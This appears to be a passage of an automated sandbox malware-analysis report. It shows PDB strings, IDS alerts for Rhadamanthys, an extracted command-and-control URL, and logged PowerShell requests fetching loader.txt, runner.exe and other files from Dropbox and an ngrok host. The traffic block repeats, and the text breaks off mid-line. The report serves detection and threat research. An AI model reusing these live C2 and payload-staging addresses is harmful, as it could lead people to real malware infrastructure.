Source:	Binary string: d:\assassin\assassin-playground\dx10_integration\main\output\win32\exe\scimitar_dx10_f.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3116113891.000000000177E000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000002.3133030862.000000000177E000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: ntdll.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3120693883.00000000055D0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3119655290.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 00000026.00000003.3126927887.00000000057C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122118011.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122340147.0000000005580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3120693883.00000000055D0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3119655290.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 00000026.00000003.3126927887.00000000057C0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122118011.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122340147.0000000005580000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Horlib.pdb source: powershell.exe, 00000016.00000002.3105805863.000001367E1F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3122900332.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123074773.0000000005500000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: *on.pdb source: powershell.exe, 00000016.00000002.3106650799.0000013E7F7AA000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\fontdrvhost.exe

Code function: 4x nop then dec esp

42_2_0000018D016A0511

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2854802 - Severity 1 - ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert : 104.161.43.18:2845 -> 192.168.2.6:50020

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk

Source: global traffic

TCP traffic: 192.168.2.6:50020 -> 104.161.43.18:2845

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

HTTP traffic: Redirect from: www.dropbox.com to https://uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com/cd/0/get/cgzsoca0cihy-f_xayr1xbh7zyuyv6wj0vazfjizhwd1pedcwaecqt1mayf488ewa-xlnkrmz4glbxir8vyxeheroia7faexrnot9q5qzywhtnyglpwlibiowggsejci8ropdnlribo0znyz4tnfyxpp/file?dl=1#

Source: Joe Sandbox View	IP Address: 162.125.65.15 162.125.65.15
Source: Joe Sandbox View	IP Address: 162.125.65.18 162.125.65.18
Source: Joe Sandbox View	IP Address: 162.125.69.15 162.125.69.15

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49758 -> 162.125.65.18:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49858 -> 162.125.65.18:443

Source: global traffic	HTTP traffic detected: GET /api/secure/a53f93d43005d4ee2fadb95063c82fef HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/83q63btw5qkh1rianv0ef/secure.txt?rlkey=wnom2qukb53o8e012p0s74aka&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239354491532_17IT0YRW2RNM8C8YH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381795371_1OWBWRW5WQA079L9Q&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381247928_1BKQC421ZHFN6XQ25&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381795372_1FAN52Y1AD18QPYNG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239354491534_1O3M85NN5LRG0CPTI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgZa4hwIaWEnXA11CbjDdjfbBYoEA_SVtbFjmGzqltZsI2BjD-7Jf0F9ji9Ah8Wr84nX_5wS-eFydMu2ZuAyaj9Hbyjzn71UFb4n12kqqs7WPko9RUoDKIz9E65E_5csVdaWtMGk6Jfv6vK7G3Y5FPzB/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381247929_1ZNNB8S8KDEP0DTFO&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/u442tpj94cyt7pxeh32zo/loader.txt?rlkey=y6ifp8xex62ufg75kr5ap1exu&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm1cBWkCHEOdxILyldOOvhDq_F73BfWcj2OepMabX929Qs6cy6UKLVBGuxHE4RxgdhayfJSlGpkBN9OxnLSO_J-9uYGsTIBFp7wgR_i1_NeclMIqQwdafaowBoH9D6/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgZSoca0CIhy-F_xAYR1XBh7zYuyV6wJ0VaZFJiZHwd1PeDCWAeCqt1maYf488EWa-xLnkRmZ4glBXIR8VYXeHERoIa7fAEXRnOt9q5QZYWHtnygLpWLibiOwgGsEjcI8ropDNlribO0ZNyz4TnfYxpp/file?dl=1 HTTP/1.1Host: uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgZlvlROW8KPvPAJVE7MmbVov7HeKaegjTEchtEO-5KwDOAtjbHByTtj1TZbqtUJm7xwQyJX1zSoHvBGUnqOwBh9c9P-UCKOGoyVqr6PmyQFgilrSR_hWNMlJwEA-6NDG4QU2Ep0ZagDQMloOqmGyT9K/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgYWev4jMhkAuVqO31aNc_EtDvIC2LFmjlh0-otSi3WiIdPd9V2TWZaboocy_14oWpUjJCrWPwCNhPQNslIqR9XI6FpCkIYbqdI88aaPytwm-HKl5XDA9AmdL200Xr3UDT88N9yVcZijeRCRI49fRmUS/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc933af44167adf8e757221e8737.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /metadata/a53f93d43005d4ee2fadb95063c82fef HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10
Source: unknown	TCP traffic detected without corresponding DNS query: 150.171.27.10

Source: global traffic	HTTP traffic detected: GET /api/secure/a53f93d43005d4ee2fadb95063c82fef HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/83q63btw5qkh1rianv0ef/secure.txt?rlkey=wnom2qukb53o8e012p0s74aka&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239354491532_17IT0YRW2RNM8C8YH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381795371_1OWBWRW5WQA079L9Q&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381247928_1BKQC421ZHFN6XQ25&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381795372_1FAN52Y1AD18QPYNG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239354491534_1O3M85NN5LRG0CPTI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgZa4hwIaWEnXA11CbjDdjfbBYoEA_SVtbFjmGzqltZsI2BjD-7Jf0F9ji9Ah8Wr84nX_5wS-eFydMu2ZuAyaj9Hbyjzn71UFb4n12kqqs7WPko9RUoDKIz9E65E_5csVdaWtMGk6Jfv6vK7G3Y5FPzB/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc88dd81bef3ddd9b68bab4679e2.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381247929_1ZNNB8S8KDEP0DTFO&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/u442tpj94cyt7pxeh32zo/loader.txt?rlkey=y6ifp8xex62ufg75kr5ap1exu&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm1cBWkCHEOdxILyldOOvhDq_F73BfWcj2OepMabX929Qs6cy6UKLVBGuxHE4RxgdhayfJSlGpkBN9OxnLSO_J-9uYGsTIBFp7wgR_i1_NeclMIqQwdafaowBoH9D6/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 HTTP/1.1Host: www.dropbox.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgZSoca0CIhy-F_xAYR1XBh7zYuyV6wJ0VaZFJiZHwd1PeDCWAeCqt1maYf488EWa-xLnkRmZ4glBXIR8VYXeHERoIa7fAEXRnOt9q5QZYWHtnygLpWLibiOwgGsEjcI8ropDNlribO0ZNyz4TnfYxpp/file?dl=1 HTTP/1.1Host: uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgZlvlROW8KPvPAJVE7MmbVov7HeKaegjTEchtEO-5KwDOAtjbHByTtj1TZbqtUJm7xwQyJX1zSoHvBGUnqOwBh9c9P-UCKOGoyVqr6PmyQFgilrSR_hWNMlJwEA-6NDG4QU2Ep0ZagDQMloOqmGyT9K/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CgYWev4jMhkAuVqO31aNc_EtDvIC2LFmjlh0-otSi3WiIdPd9V2TWZaboocy_14oWpUjJCrWPwCNhPQNslIqR9XI6FpCkIYbqdI88aaPytwm-HKl5XDA9AmdL200Xr3UDT88N9yVcZijeRCRI49fRmUS/file?dl=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: uc933af44167adf8e757221e8737.dl.dropboxusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /metadata/a53f93d43005d4ee2fadb95063c82fef HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.appConnection: Keep-Alive

Source: powershell.exe, 00000004.00000002.2471028707.00000225BCAD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-ancestors 'self' https://.dropbox.com ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https://* data: blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; media-src https://* blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; base-uri 'self' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action 